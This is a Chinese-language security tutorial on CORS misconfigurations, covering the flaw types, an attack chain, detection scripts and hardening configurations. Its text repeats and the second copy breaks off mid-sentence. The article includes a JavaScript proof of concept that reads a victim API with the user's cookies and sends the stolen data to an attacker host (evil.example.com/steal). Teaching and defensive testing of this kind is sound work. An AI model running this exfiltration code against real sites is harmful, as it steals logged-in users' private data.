尧图网页设计 
最近这半年我前前后后处理了不下十几起CORS相关的安全问题说实话感触挺深的。很多团队对CORS的认知还停留在后端加个Access-Control-Allow-Origin头就能解决前端报错的阶段但恰恰是这个加个头的操作如果姿势不对等于把自家后端的数据接口裸奔在公网上。尤其是热搜里那些has been blocked by cors policy的报错前端工程师每天都能见到可真正能讲清楚这一行头后面藏着什么风险的人并不多。这篇东西我想用最直白的方式把CORS跨域漏洞讲透先带你读懂浏览器报错到底在说什么再拆解同源策略和CORS的工作机制然后重点分析几种常见的配置错误为什么致命最后给出一套可以直接抄作业的检测流程和防护清单。目标是让小白看完能理解原理让开发和运维看完能直接落地防护让安全测试人员能拿到一套可复用的验证思路。1. 从三条最常见的CORS报错说起它们不是同一种病做Web开发的人对这几条报错应该都不陌生我先把它们列出来因为很多人根本没意识到这三条报错指向的是完全不同的问题修法也完全不同。1.1 No Access-Control-Allow-Origin header is present on the requested resource这条报错的字面意思是你发起的跨域请求到达了服务器服务器也确实返回了响应但这个响应里压根没有带Access-Control-Allow-Origin头。也就是说服务器没有声明允许哪个源来读取我的数据。这种情况在开发环境最常见。比如你用Vite起的开发服务器跑在http://localhost:5173后端接口在http://localhost:8080前端去fetch后端接口的时候浏览器发现两者端口不一样属于跨域然后检查响应头发现没有CORS头直接就拦了。但这里有个特别重要的点请求是发出去了的响应也是回来了的只是浏览器不把数据交给你的JavaScript。如果这个接口本身没有做任何权限校验那么用curl或者Postman照样能拿到数据CORS其实是拦不住恶意工具的它只是浏览器这个客户端的一种安全策略。这点先记住后面讲漏洞的时候要用。1.2 Response to preflight request doesnt pass access control check这条报错比上一条多了一个关键词preflight也就是预检请求。这说明你的请求不是简单请求浏览器在正式发送之前先发了一个OPTIONS请求去问服务器我待会儿要用PUT/PATCH方法还要带自定义头你允许吗结果服务器没有正确回应这次预检。不少后端同学的第一个反应是我明明加了CORS中间件啊排查半天发现是预检请求的响应里没有包含Access-Control-Allow-Methods或Access-Control-Allow-Headers。这是配置粒度的问题不是有没有CORS的问题。1.3 Permission was denied for this request / CORS policy: Permission denied这条严格来说往往不是标准的CORS报错格式更像是因为CORS校验失败导致的派生问题——比如你请求的接口在预检阶段就被拒绝或者请求本身因为凭证Cookie策略不匹配被浏览器判定为不可信。有些版本的浏览器也会在fetch因为CORS失败后抛TypeError: Failed to fetch后台网络面板里看到的则是对应的CORS策略拒绝信息。先花这几百字区分报错是因为后面的漏洞分析和修复都建立在这个认知上CORS不是一套加了就完事的开关而是一套基于HTTP头的协商机制配置错任何一个环节要么功能坏掉要么安全出问题。2. 浏览器的源概念与CORS的取舍逻辑CORS的全称是Cross-Origin Resource Sharing直译过来是跨源资源共享。要理解它必须先理解它要打破的那个限制——同源策略Same-Origin Policy。2.1 什么是源为什么浏览器要同源源由三部分组成协议Schema 域名Host 端口Port。只要三者全等就是同源。https://a.com:443和http://a.com:80不同源https://a.com和https://a.com:8443也不同源这一点经常被忽略。同源策略的初心很朴素防止一个网页里的脚本去随便读另一个网站的敏感数据。如果没这个限制你打开一个恶意网站它里面的JavaScript就可以在后台悄悄请求你的网银页面读取你的账户余额然后再发给攻击者的服务器。浏览器正是通过只允许同源的脚本读取同源响应数据这个机制把这种行为拦住的。但同源策略又太严格了。现实中的Web应用经常需要跨域前后端分离架构前端web.example.com后端api.example.com、从CDN加载第三方资源、调用开放平台API这些都是合法需求。于是CORS出现了。2.2 CORS机制的本质服务器显式放权CORS的核心逻辑可以用一句话概括同源策略默认拒绝一切跨域读取但服务器可以通过HTTP响应头显式告诉浏览器我允许某些源来读我的数据。当浏览器的JavaScript发起跨域请求时浏览器会先看响应里有没有放权声明有且匹配才把数据交给脚本没有就拦在门口。Access-Control-Allow-Origin是放权声明里最关键的头。它有两个合法取值具体的源如https://frontend.example.com或者通配符*。注意*不代表允许所有源带认证信息它只是一个通配符在涉及Cookie凭证时表现完全不同这点后面细说。2.3 预检请求干什么用什么时候触发刚才说了简单请求和预检请求的区别。实际上浏览器把所有跨域请求分成两类简单请求方法限定在GET/POST/HEAD且只使用Accept、Accept-Language、Content-Language等几个标准头Content-Type也仅限于application/x-www-form-urlencoded、multipart/form-data或text/plain。这类请求不触发预检浏览器直接发然后看响应头决定放不放行。非简单请求用了自定义请求头如Authorization、X-Requested-With、Content-Type是application/json或者用了PUT/DELETE等方法。这类请求会先发一个OPTIONS请求询问服务器是否接受这些方法和头。只有当预检响应里明确包含允许的方法和头浏览器才发真正的请求。这里有个小白容易懵的点预检请求本身也是跨域请求它也会被CORS策略校验。所以服务器的OPTIONS路由也必须正确返回CORS头。很多开发环境报preflight didnt pass就是因为后端框架只给GET/POST加了CORS头没给OPTIONS加。理解了这套协商机制之后CORS漏洞的轮廓就开始清晰了既然服务器是通过响应头来放权的那么如果这个响应头是有谁请求就反射谁的Origin或者干脆放了一个无所不包的通配符会发生什么3. Access-Control-Allow-Origin配置不当我复现过的三种致命姿势这是整篇的重头戏。我在做安全测试的时候见过太多团队在这三个位置上栽跟头而且每种都真实引发过可被利用的漏洞。我逐一拆解顺便把为什么危险说透。3.1 反射任意Origin最常见的漏洞姿势很多开发同学图省事直接在中间件里写Access-Control-Allow-Origin: ${request.headers.Origin}也就是把请求头里带的Origin值原封不动地照抄进响应头。这样做的好处是任何域名的前端都能调通接口开发调试非常爽。但它的恶果是任何一个恶意网站只要把请求发过来服务器都会给它放权。攻击场景很直白。攻击者架设一个钓鱼页面evil.example.com在里面写fetch(https://victim.com/api/userinfo, { credentials: include }).then(res res.json()).then(data { // 把窃取到的数据偷偷传回攻击者服务器 new Image().src https://evil.example.com/steal?data JSON.stringify(data); });如果victim.com是反射Origin的配置浏览器看到响应头里的Access-Control-Allow-Origin: http://evil.example.com恰好等于当前页面的源就会乖乖把响应数据交给钓鱼页面的脚本。如果这个接口再用Cookie认证攻击者等于不费吹灰之力就拿到了登录用户的敏感数据。教科书上叫基于JSON的CORS漏洞或者CORS反射利用但本质上就是一句话服务器无条件信任所有请求方导致任意网站都能以受害者的浏览器身份读取受害者已登录的数据接口。3.2 Access-Control-Allow-Origin: * 加上 Allow-Credentials第二种致命配置是把通配符和凭证一起开启Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true先明确一个浏览器规范当凭证标志为true时响应头不允许使用通配符*作为Allow-Origin的值。现代浏览器会把这种响应直接判为无效。但现实里有两种错误变体一种是后端框架生成了Allow-Origin: *同时又显式设置了Allow-Credentials为true结果浏览器直接拦截功能坏掉。这种问题开发环境常见属于自己把自己锁死不算漏洞。另一种更阴险有的服务器为了避免凭证通配符的冲突把代码改成了如果有Authorization头就反射Origin否则就用*。听起来很聪明对吧但攻击者完全可以手动在请求里加一个Origin: https://evil.example.com触发反射分支于是又变回了第一种漏洞姿势。3.3 Origin被错误设置为null第三种配置容易被忽视Access-Control-Allow-Origin: null。什么情况下请求的Origin会是null不是普通的浏览器页面而是以下几种场景用file://协议打开的本地HTML页面经过某些重定向、跨源iframe嵌套后浏览器的Origin变成字符串null沙箱化的iframe页面如果服务器固定返回Allow-Origin: null攻击者可以把自己的恶意页面放进一个沙箱iframe里让请求的Origin变成null从而绕过同源限制读取数据。我见过一个真实案例某网站的图片处理服务为了兼容本地测试环境把null当成了允许源写进了CORS配置上线时也没摘掉。后来测试人员在本地写了一个简单的HTML文件直接file://打开成功跨域读取了那张图片背后的用户上传文件接口返回的元数据。严格来说这种利用条件比较苛刻要触发null Origin但在安全评审里确实是实打实的高危项。3.4 一个辅助判断的决策表我把这几种配置的安全评级整理成了表格方便你对照检查自己的项目配置组合允许凭证可被恶意页面利用安全评级备注固定具体源白名单是/否均可否安全推荐做法反射任意Origin 凭证是是高危最典型漏洞Allow-Origin: *否是可读取无凭证数据中危公共开放接口可用Allow-Origin: * Credentials: true浏览器拦截不可利用功能故障规范上无效组合Allow-Origin: null视情况特定场景可利用中危sandbox iframe可用表里的核心判断标准就两条第一服务器是否精确知道谁在请求第二响应是否允许携带凭证。允许凭证的接口对Allow-Origin的要求必须是精确匹配的具体源绝不能是反射也绝不能是通配符。4. 一条隐蔽的攻击链路从恶意页面到内网数据光讲配置和表小白可能还是觉得抽象。这一节我用一个带时间线的推演把整条利用链串起来。这套思路在护网和渗透测试里非常常见值得你把它记住。4.1 前提条件不需要任何服务器端漏洞CORS漏洞最让人头疼的地方在于它不需要目标服务器上有传统意义上的漏洞——没有SQL注入、没有文件上传、没有RCE。它只需要你有一处CORS配置得不够谨慎加上目标接口依赖Cookie或Authorization头做认证就够了。换句话说常规的WAF规则很难拦这种攻击因为攻击者根本没对目标服务器发什么恶意payload他只是让受害者的浏览器去访问了一个正常的接口。4.2 完整攻击步骤推演假设目标站点https://cloud.example.com存在反射Origin配置它的/api/v1/user/profile接口返回登录用户的姓名、手机号、邮箱和内部系统ID。攻击者的步骤如下攻击者注册一个域名https://nice-photo.example.com放上一个钓鱼页面页面里嵌入了探测代码包括上文那个fetch请求。通过各种渠道诱导受害者点击这个钓鱼页面——常见的方式包括社交工程、二维码、弹窗广告。受害者此时大概率已经登录了cloud.example.com浏览器里存着有效的Cookie。受害者的浏览器执行JavaScript向https://cloud.example.com/api/v1/user/profile发起带凭证的跨域请求。请求头里自动携带Origin: https://nice-photo.example.com。目标服务器没有校验Origin直接反射Access-Control-Allow-Origin: https://nice-photo.example.com并附带了Access-Control-Allow-Credentials: true。浏览器对比当前页面的Origin和响应头的Allow-Origin发现完全匹配于是把响应数据交给JavaScript。攻击者页面里的脚本拿到JSON数据后在页面里偷偷构造一个img srchttps://nice-photo.example.com/collect?token...或者用fetch把数据发回自己的服务器一次数据窃取完成。整个过程中受害者没有任何感知目标服务器没有爆出任何异常日志因为请求确实是合法登录用户从正常浏览器发起的攻击者拿到的还是真实有效的业务数据。4.3 内网场景更隐蔽的扩展如果攻击者能把恶意HTML文件植入到受害者的内网环境——比如通过文件共享、邮件附件、工单系统附件——那么用file://协议打开时Origin为null如果服务器配置了Allow-Origin: null同样能读取内网Web应用的数据。还有一种常见的内网扩展路径攻击者先打下一台内网低权限机器然后在浏览器上下文里注入恶意页面脚本借助浏览器对内网应用的信任来实现横向数据窃取。这种场景下CORS漏洞往往成为从外网突破到内网数据的跳板。4.4 验证POC时的三个核心要点我自己测试CORS漏洞时一般分三步验证每一步都有明确的判定标准第一步用curl发送带Origin头的请求看响应头的Access-Control-Allow-Origin是否是请求Origin的原样反射。curl -s -D - -o /dev/null -H Origin: https://evil.example.com https://target/api/user/info第二步检查响应头是否同时包含Access-Control-Allow-Credentials: true。如果Allow-Origin反射的是完整URI而不是*且Credentials为true基本可以判定漏洞存在。第三步在浏览器里实际写一个跨域fetch带上credentials: include在开发者工具的Network面板看请求是否成功拿到数据。只有这一步通过才说明浏览器层面真的放行。第三步尤其关键——因为有些网关/反代会自动改写或剥离CORS头curl看到的字段和浏览器实际应用的策略可能不一致。5. 漏洞检测的方法矩阵从手工到半自动化确定了自己是不是踩了坑需要一个可靠的检测流程。我平时给客户做安全评审时会按这个顺序递进使用几种手段。5.1 手工检测curl和浏览器配合最轻量的方式就是curl但要注意两点一是因为预检请求和实际请求的CORS头可能不同所以GET和OPTIONS都要测二是要看服务端对不同Origin合法源、恶意源、null、空分别返回什么。列一组我常用的测试用例# 正常源 curl -s -I -H Origin: https://frontend.example.com https://api.example.com/data # 恶意源 curl -s -I -H Origin: https://evil.example.com https://api.example.com/data # 无Origin头 curl -s -I https://api.example.com/data # Origin为null curl -s -I -H Origin: null https://api.example.com/data判别标准恶意源请求返回的Allow-Origin和恶意源一致且允许凭证时直接判漏洞Allow-Origin返回null也需要关注无Origin头时如果也返回通配符*再看接口是否涉及敏感数据。5.2 浏览器开发者工具验证真实可达性curl只能证明响应头存在反射真正决定漏洞可利用性的是浏览器是否会放行数据给页面脚本。所以在curl确认反射之后我会开一个本地HTTP服务放一个临时测试页面页面里写fetch(https://api.example.com/data, { method: GET, credentials: include }).then(r r.text()).then(console.log);然后在浏览器里直接打开http://localhost:8080/test.html看Console有没有报CORS错误看的Network里请求有没有成功返回。这样做的好处是验证了从攻击者视角的完整链路坏处是如果目标接口有CSRF双重校验之类的附加防护这一步可能失败——但那只说明CORS不是唯一风险点不能说明反射配置是安全的。这里必须提一个实际工作里很常见的现象测试用的恶意Origin域名如果是公网可解析的可能会被目标企业的安全设备放行但如果测试页面开在file://环境Origin就是null很多反射配置会失灵。所以我一般会用两种Origin形态分别验证自定义域名和null。顺手还能看看服务器对Origin: null的响应头这正好覆盖了前面3.3节说的利用场景。5.3 半自动工具与扫描器OpenVAS等在拿到目标授权的前提下可以用线上工具和开源扫描器做批量探测。热搜词里提到的OpenVASOpen Vulnerability Assessment System属于偏传统的漏洞扫描器它的插件库里包含针对CORS配置的检测脚本但更偏被动检测——它不主动构造复杂的跨域环境主要结合响应的HTTP头特征去匹配规则所以结果仅供参考最终还是要回到浏览器验证这一步。适合做CORS专项测试的还有一个思路用Burp Suite的扩展比如你可以自己写一个简单的Python脚本批量发包检测。我更推荐在需要验证大量接口时写个小脚本一边扫一边把响应头里和CORS相关的字段全部抽出来import requests base_url https://api.example.com/{} headers { Origin: https://evil.example.com } paths [/user/info, /order/list, /file/upload, /health] for p in paths: try: r requests.get(base_url.format(p), headersheaders, timeout5) acao r.headers.get(Access-Control-Allow-Origin, ) acac r.headers.get(Access-Control-Allow-Credentials, ) if acao.strip() or acac.strip(): print(f[{p}] ACAO{acao} ACAC{acac}) except Exception as e: print(f[{p}] request failed: {e})这个脚本虽然粗暴但非常适合给部门做快速普查——一口气把所有接口的CORS头都拉出来人工再逐条评。实际抓过一次几十个接口的项目最后筛出三个存在反射Origin的接口效率比手工curl高得多。5.4 线上测试工具的使用分寸现在网上有不少CORS测试工具往输入框里填一个URL工具就会帮你发请求看响应头。这类工具适合初步摸底但有两个坑一是工具的节点不在你的浏览器环境里它测试的可达性不能等同于真实浏览器里的跨域行为二是如果你在输入框里填了内网地址实际上相当于把内部信息发给了第三方工具存在保密风险。所以我只在测完全没有敏感信息的外网公开API时才推荐用这种工具。6. 生产环境的防护配置实战从白名单到纵深防御这部分是写给开发和运维的。前面讲了不少漏洞场景现在给出一套可以直接落地的防护方案按边界清晰、策略收敛、纵深防御三个原则来组织。6.1 第一道防线精确白名单加三层约束安全做法是把允许的源集中到一个白名单里由服务端代码动态判断请求的Origin是否在名单中命中才返回对应的Origin否则完全不返回CORS头。下面是一个Node.js/Express风格的最小示例逻辑不依赖语言const allowedOrigins [ https://frontend.example.com, https://admin.example.com ]; app.use(/api, (req, res, next) { const origin req.headers.origin; if (origin allowedOrigins.includes(origin)) { res.setHeader(Access-Control-Allow-Origin, origin); res.setHeader(Vary, Origin); res.setHeader(Access-Control-Allow-Credentials, true); res.setHeader(Access-Control-Allow-Methods, GET, POST, OPTIONS); res.setHeader(Access-Control-Allow-Headers, req.headers[access-control-request-headers] || Content-Type, Authorization); res.setHeader(Access-Control-Max-Age, 600); } if (req.method OPTIONS) { return res.sendStatus(204); } next(); });这里的Vary: Origin非常关键。CDN和浏览器缓存如果不知道同一个URL的不同Origin返回了不同响应头就可能把带某个Origin的响应缓存下来发给另一个Origin的请求造成串数据。加了Vary: Origin就是在告诉缓存这个响应的内容取决于请求的Origin请分开缓存。6.2 服务器层配置Nginx与Spring的落地写法Nginx里可以通过map指令做白名单避免到处都是ifmap $http_origin $cors_origin { default ; ~^https://frontend\.example\.com$ $http_origin; ~^https://admin\.example\.com$ $http_origin; } server { listen 443 ssl; location /api/ { if ($request_method OPTIONS) { add_header Access-Control-Allow-Origin $cors_origin; add_header Access-Control-Allow-Methods GET, POST, OPTIONS; add_header Access-Control-Max-Age 600; return 204; } add_header Access-Control-Allow-Origin $cors_origin; add_header Vary Origin; add_header Access-Control-Allow-Credentials true; } }Spring Boot项目里官方推荐使用WebMvcConfigurer的addCorsMappings并且一定要指定allowedOrigins为精确列表Configuration public class CorsConfig implements WebMvcConfigurer { Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping(/api/**) .allowedOrigins(https://frontend.example.com, https://admin.example.com) .allowedMethods(GET, POST, PUT, DELETE, OPTIONS) .allowCredentials(true) .maxAge(600); } }如果你用的是Spring Security还要额外配置cors()和csrf()的配合细节这里就不展开代码了。记住一条通用准则凡是手工写了反射Origin的地方都改成查白名单。6.3 会话认证与CORS的配合原则CORS漏洞之所以高危是因为它能利用浏览器的Cookie自动携带机制。所以做防护时优先考虑即使CORS被配置错了也无法被轻松利用这层纵深如果接口允许Cookie认证严格要求精确白名单永远关闭Allow-Origin: *。如果接口只面向第三方开放且不需要用户登录态干脆关闭Allow-Credentials并把Allow-Origin定为*——这种情况下客户端不需要带Cookie通配符是安全且合理的。但任何涉及用户个人数据的接口都不属于这一档。尽可能避免Cookie被自动携带到跨域请求里为关键接口设置SameSiteLax或Strict的Cookie策略同时把敏感接口升级为Bearer Token模式让请求必须通过JavaScript显式携带Authorization头。这里有个微妙点Bearer Token从localStorage里读取之后放进Authorization头跨域预检会被触发反而更容易被开发者发现但Token一旦被窃听或从存储里泄露就没有CSP来兜底了。所以要搭配下面这条。6.4 CSP作为纵深防御的补充不少人忽略了CSPContent-Security-Policy虽然是设计来防XSS的但它对CORS利用也有很好的牵制作用。攻击者窃取数据的步骤是页面脚本发起fetch 把结果外传如果他没法在你的页面里注入长期脚本利用链就断了一半。推荐在所有前端页面里配置Content-Security-Policy: default-src self; connect-src self https://api.example.com; img-src self data:; script-src self这段策略的含义是浏览器只允许向当前页面同源和api.example.com发起网络连接connect-src只允许执行本域名下的脚本。恶意页面注入的inline脚本会被直接拦截向攻击者服务器传数据的通道也会被切断。我在实际项目里让前端团队把CSP从仅default-src self升级到带connect-src白名单之后确实挡住了好几款测试工具的盲打。6.5 上线前的自检清单花五分钟排雷最后给一份检查清单建议挂在发布流程里全局搜索代码里是否存在反射Origin的写法req.headers.origin、request.getHeader(Origin)、$http_origin的未经白名单直接使用。检查Access-Control-Allow-Origin是否允许*或null如果有确认接口是否包含任何用户身份相关数据。检查Access-Control-Allow-Credentials是否只出现在精确Origin的响应上。核对是否配置了Vary: Origin防止CDN缓存串数据。用curl按第5节的方法至少测一个正常源和一个恶意源。在浏览器里用测试页面实际验证一次带凭证访问。7. 排错实录一次诡异的生产事故根因竟然是缓存这一节我额外分享一个真实排查经历因为它极其典型——症状、定位、根因三个方面都很有代表性。某个周五下午前端同事反馈线上接口偶发出现has been blocked by cors policy: response to preflight request doesnt pass access control check但奇怪的是同一个接口过几分钟自己又好了完全没有规律。一开始大家怀疑是网关偶发丢头后来在浏览器里反复刷新发现一个规律出错的时候响应头里的Access-Control-Allow-Origin指向的是一个完全无关的老域名。排查链路是这样的先看服务端日志确认服务端返回的CORS头一直是正常的白名单源。说明错不在业务服务。再在Nginx层抓包发现源站响应确实是正确头但客户端收到的却是错误头。矛头指向CDN。查CDN控制台发现这个域名的一个静态资源缓存规则把/api路径也包进去了缓存时长是10分钟且没有配置Vary: Origin。错乱来自上级节点缓存的具有不同CORS响应头的历史响应。修复方案CDN上把/api排除出静态缓存规则同时在服务端补上Vary: Origin头此后类似问题再没出现过。这个案例对所有人都有参考价值CORS配置错不一定是源服务器的锅中间任何一层反向代理、CDN、WAF都可能在改响应头。排查顺序应该从客户端取到的最终响应头逆着链路往上查而不是一上来就改后端代码。我自己后来定了一条铁律凡是涉及CORS的变更联调通过之后一定要在浏览器开发者工具里清掉缓存、强制刷新看最终网络面板里真实响应头才签字。——这条习惯帮我避了很多次雷。8. 把CORS安全变成团队日常而不是救火事件文章写到这份上最后想再说几句掏心窝的话。CORS问题在绝大多数团队里是被当成联调阻碍来处理而不是安全风险来对待的这是它反复出漏洞的根源。要改变这件事最有效的手段是把它前置到编码规范里而不是靠安全团队事后扫描。我见过一个做得很好的团队他们在接口设计评审里加了一条硬性要求所有后端接口的响应头里Access-Control-Allow-Origin必须能追溯到配置中心的某个白名单变量代码里不允许出现任何直接反射Origin的逻辑。就这一条他们后续一年多的安全测试再没出过CORS类的高危漏洞。如果你现在排查问题觉得一头雾水我强烈建议你按这个顺序做先把所有接口的CORS头扫出来对照本文的决策表做一遍体检再确认一下Cookie的SameSite属性最后把CDN和网关层的缓存配置捋一遍。做完这三步大部分坑都能填掉。CORS本身是一个很实用的机制它让Web应用可以安全地开放数据问题从来不在机制本身而在放权放得太随意。精确到源的放权、凭证和通配符绝对隔离、再加上Vary头和CSP这种纵深配置做好了这些你就能既享受跨域的便利又不给攻击者留缝隙。 CORS跨域漏洞深度解析：从浏览器报错到配置加固与攻击防护
最近这半年我前前后后处理了不下十几起CORS相关的安全问题说实话感触挺深的。很多团队对CORS的认知还停留在后端加个Access-Control-Allow-Origin头就能解决前端报错的阶段但恰恰是这个加个头的操作如果姿势不对等于把自家后端的数据接口裸奔在公网上。尤其是热搜里那些has been blocked by cors policy的报错前端工程师每天都能见到可真正能讲清楚这一行头后面藏着什么风险的人并不多。这篇东西我想用最直白的方式把CORS跨域漏洞讲透先带你读懂浏览器报错到底在说什么再拆解同源策略和CORS的工作机制然后重点分析几种常见的配置错误为什么致命最后给出一套可以直接抄作业的检测流程和防护清单。目标是让小白看完能理解原理让开发和运维看完能直接落地防护让安全测试人员能拿到一套可复用的验证思路。1. 从三条最常见的CORS报错说起它们不是同一种病做Web开发的人对这几条报错应该都不陌生我先把它们列出来因为很多人根本没意识到这三条报错指向的是完全不同的问题修法也完全不同。1.1 No Access-Control-Allow-Origin header is present on the requested resource这条报错的字面意思是你发起的跨域请求到达了服务器服务器也确实返回了响应但这个响应里压根没有带Access-Control-Allow-Origin头。也就是说服务器没有声明允许哪个源来读取我的数据。这种情况在开发环境最常见。比如你用Vite起的开发服务器跑在http://localhost:5173后端接口在http://localhost:8080前端去fetch后端接口的时候浏览器发现两者端口不一样属于跨域然后检查响应头发现没有CORS头直接就拦了。但这里有个特别重要的点请求是发出去了的响应也是回来了的只是浏览器不把数据交给你的JavaScript。如果这个接口本身没有做任何权限校验那么用curl或者Postman照样能拿到数据CORS其实是拦不住恶意工具的它只是浏览器这个客户端的一种安全策略。这点先记住后面讲漏洞的时候要用。1.2 Response to preflight request doesnt pass access control check这条报错比上一条多了一个关键词preflight也就是预检请求。这说明你的请求不是简单请求浏览器在正式发送之前先发了一个OPTIONS请求去问服务器我待会儿要用PUT/PATCH方法还要带自定义头你允许吗结果服务器没有正确回应这次预检。不少后端同学的第一个反应是我明明加了CORS中间件啊排查半天发现是预检请求的响应里没有包含Access-Control-Allow-Methods或Access-Control-Allow-Headers。这是配置粒度的问题不是有没有CORS的问题。1.3 Permission was denied for this request / CORS policy: Permission denied这条严格来说往往不是标准的CORS报错格式更像是因为CORS校验失败导致的派生问题——比如你请求的接口在预检阶段就被拒绝或者请求本身因为凭证Cookie策略不匹配被浏览器判定为不可信。有些版本的浏览器也会在fetch因为CORS失败后抛TypeError: Failed to fetch后台网络面板里看到的则是对应的CORS策略拒绝信息。先花这几百字区分报错是因为后面的漏洞分析和修复都建立在这个认知上CORS不是一套加了就完事的开关而是一套基于HTTP头的协商机制配置错任何一个环节要么功能坏掉要么安全出问题。2. 浏览器的源概念与CORS的取舍逻辑CORS的全称是Cross-Origin Resource Sharing直译过来是跨源资源共享。要理解它必须先理解它要打破的那个限制——同源策略Same-Origin Policy。2.1 什么是源为什么浏览器要同源源由三部分组成协议Schema 域名Host 端口Port。只要三者全等就是同源。https://a.com:443和http://a.com:80不同源https://a.com和https://a.com:8443也不同源这一点经常被忽略。同源策略的初心很朴素防止一个网页里的脚本去随便读另一个网站的敏感数据。如果没这个限制你打开一个恶意网站它里面的JavaScript就可以在后台悄悄请求你的网银页面读取你的账户余额然后再发给攻击者的服务器。浏览器正是通过只允许同源的脚本读取同源响应数据这个机制把这种行为拦住的。但同源策略又太严格了。现实中的Web应用经常需要跨域前后端分离架构前端web.example.com后端api.example.com、从CDN加载第三方资源、调用开放平台API这些都是合法需求。于是CORS出现了。2.2 CORS机制的本质服务器显式放权CORS的核心逻辑可以用一句话概括同源策略默认拒绝一切跨域读取但服务器可以通过HTTP响应头显式告诉浏览器我允许某些源来读我的数据。当浏览器的JavaScript发起跨域请求时浏览器会先看响应里有没有放权声明有且匹配才把数据交给脚本没有就拦在门口。Access-Control-Allow-Origin是放权声明里最关键的头。它有两个合法取值具体的源如https://frontend.example.com或者通配符*。注意*不代表允许所有源带认证信息它只是一个通配符在涉及Cookie凭证时表现完全不同这点后面细说。2.3 预检请求干什么用什么时候触发刚才说了简单请求和预检请求的区别。实际上浏览器把所有跨域请求分成两类简单请求方法限定在GET/POST/HEAD且只使用Accept、Accept-Language、Content-Language等几个标准头Content-Type也仅限于application/x-www-form-urlencoded、multipart/form-data或text/plain。这类请求不触发预检浏览器直接发然后看响应头决定放不放行。非简单请求用了自定义请求头如Authorization、X-Requested-With、Content-Type是application/json或者用了PUT/DELETE等方法。这类请求会先发一个OPTIONS请求询问服务器是否接受这些方法和头。只有当预检响应里明确包含允许的方法和头浏览器才发真正的请求。这里有个小白容易懵的点预检请求本身也是跨域请求它也会被CORS策略校验。所以服务器的OPTIONS路由也必须正确返回CORS头。很多开发环境报preflight didnt pass就是因为后端框架只给GET/POST加了CORS头没给OPTIONS加。理解了这套协商机制之后CORS漏洞的轮廓就开始清晰了既然服务器是通过响应头来放权的那么如果这个响应头是有谁请求就反射谁的Origin或者干脆放了一个无所不包的通配符会发生什么3. Access-Control-Allow-Origin配置不当我复现过的三种致命姿势这是整篇的重头戏。我在做安全测试的时候见过太多团队在这三个位置上栽跟头而且每种都真实引发过可被利用的漏洞。我逐一拆解顺便把为什么危险说透。3.1 反射任意Origin最常见的漏洞姿势很多开发同学图省事直接在中间件里写Access-Control-Allow-Origin: ${request.headers.Origin}也就是把请求头里带的Origin值原封不动地照抄进响应头。这样做的好处是任何域名的前端都能调通接口开发调试非常爽。但它的恶果是任何一个恶意网站只要把请求发过来服务器都会给它放权。攻击场景很直白。攻击者架设一个钓鱼页面evil.example.com在里面写fetch(https://victim.com/api/userinfo, { credentials: include }).then(res res.json()).then(data { // 把窃取到的数据偷偷传回攻击者服务器 new Image().src https://evil.example.com/steal?data JSON.stringify(data); });如果victim.com是反射Origin的配置浏览器看到响应头里的Access-Control-Allow-Origin: http://evil.example.com恰好等于当前页面的源就会乖乖把响应数据交给钓鱼页面的脚本。如果这个接口再用Cookie认证攻击者等于不费吹灰之力就拿到了登录用户的敏感数据。教科书上叫基于JSON的CORS漏洞或者CORS反射利用但本质上就是一句话服务器无条件信任所有请求方导致任意网站都能以受害者的浏览器身份读取受害者已登录的数据接口。3.2 Access-Control-Allow-Origin: * 加上 Allow-Credentials第二种致命配置是把通配符和凭证一起开启Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true先明确一个浏览器规范当凭证标志为true时响应头不允许使用通配符*作为Allow-Origin的值。现代浏览器会把这种响应直接判为无效。但现实里有两种错误变体一种是后端框架生成了Allow-Origin: *同时又显式设置了Allow-Credentials为true结果浏览器直接拦截功能坏掉。这种问题开发环境常见属于自己把自己锁死不算漏洞。另一种更阴险有的服务器为了避免凭证通配符的冲突把代码改成了如果有Authorization头就反射Origin否则就用*。听起来很聪明对吧但攻击者完全可以手动在请求里加一个Origin: https://evil.example.com触发反射分支于是又变回了第一种漏洞姿势。3.3 Origin被错误设置为null第三种配置容易被忽视Access-Control-Allow-Origin: null。什么情况下请求的Origin会是null不是普通的浏览器页面而是以下几种场景用file://协议打开的本地HTML页面经过某些重定向、跨源iframe嵌套后浏览器的Origin变成字符串null沙箱化的iframe页面如果服务器固定返回Allow-Origin: null攻击者可以把自己的恶意页面放进一个沙箱iframe里让请求的Origin变成null从而绕过同源限制读取数据。我见过一个真实案例某网站的图片处理服务为了兼容本地测试环境把null当成了允许源写进了CORS配置上线时也没摘掉。后来测试人员在本地写了一个简单的HTML文件直接file://打开成功跨域读取了那张图片背后的用户上传文件接口返回的元数据。严格来说这种利用条件比较苛刻要触发null Origin但在安全评审里确实是实打实的高危项。3.4 一个辅助判断的决策表我把这几种配置的安全评级整理成了表格方便你对照检查自己的项目配置组合允许凭证可被恶意页面利用安全评级备注固定具体源白名单是/否均可否安全推荐做法反射任意Origin 凭证是是高危最典型漏洞Allow-Origin: *否是可读取无凭证数据中危公共开放接口可用Allow-Origin: * Credentials: true浏览器拦截不可利用功能故障规范上无效组合Allow-Origin: null视情况特定场景可利用中危sandbox iframe可用表里的核心判断标准就两条第一服务器是否精确知道谁在请求第二响应是否允许携带凭证。允许凭证的接口对Allow-Origin的要求必须是精确匹配的具体源绝不能是反射也绝不能是通配符。4. 一条隐蔽的攻击链路从恶意页面到内网数据光讲配置和表小白可能还是觉得抽象。这一节我用一个带时间线的推演把整条利用链串起来。这套思路在护网和渗透测试里非常常见值得你把它记住。4.1 前提条件不需要任何服务器端漏洞CORS漏洞最让人头疼的地方在于它不需要目标服务器上有传统意义上的漏洞——没有SQL注入、没有文件上传、没有RCE。它只需要你有一处CORS配置得不够谨慎加上目标接口依赖Cookie或Authorization头做认证就够了。换句话说常规的WAF规则很难拦这种攻击因为攻击者根本没对目标服务器发什么恶意payload他只是让受害者的浏览器去访问了一个正常的接口。4.2 完整攻击步骤推演假设目标站点https://cloud.example.com存在反射Origin配置它的/api/v1/user/profile接口返回登录用户的姓名、手机号、邮箱和内部系统ID。攻击者的步骤如下攻击者注册一个域名https://nice-photo.example.com放上一个钓鱼页面页面里嵌入了探测代码包括上文那个fetch请求。通过各种渠道诱导受害者点击这个钓鱼页面——常见的方式包括社交工程、二维码、弹窗广告。受害者此时大概率已经登录了cloud.example.com浏览器里存着有效的Cookie。受害者的浏览器执行JavaScript向https://cloud.example.com/api/v1/user/profile发起带凭证的跨域请求。请求头里自动携带Origin: 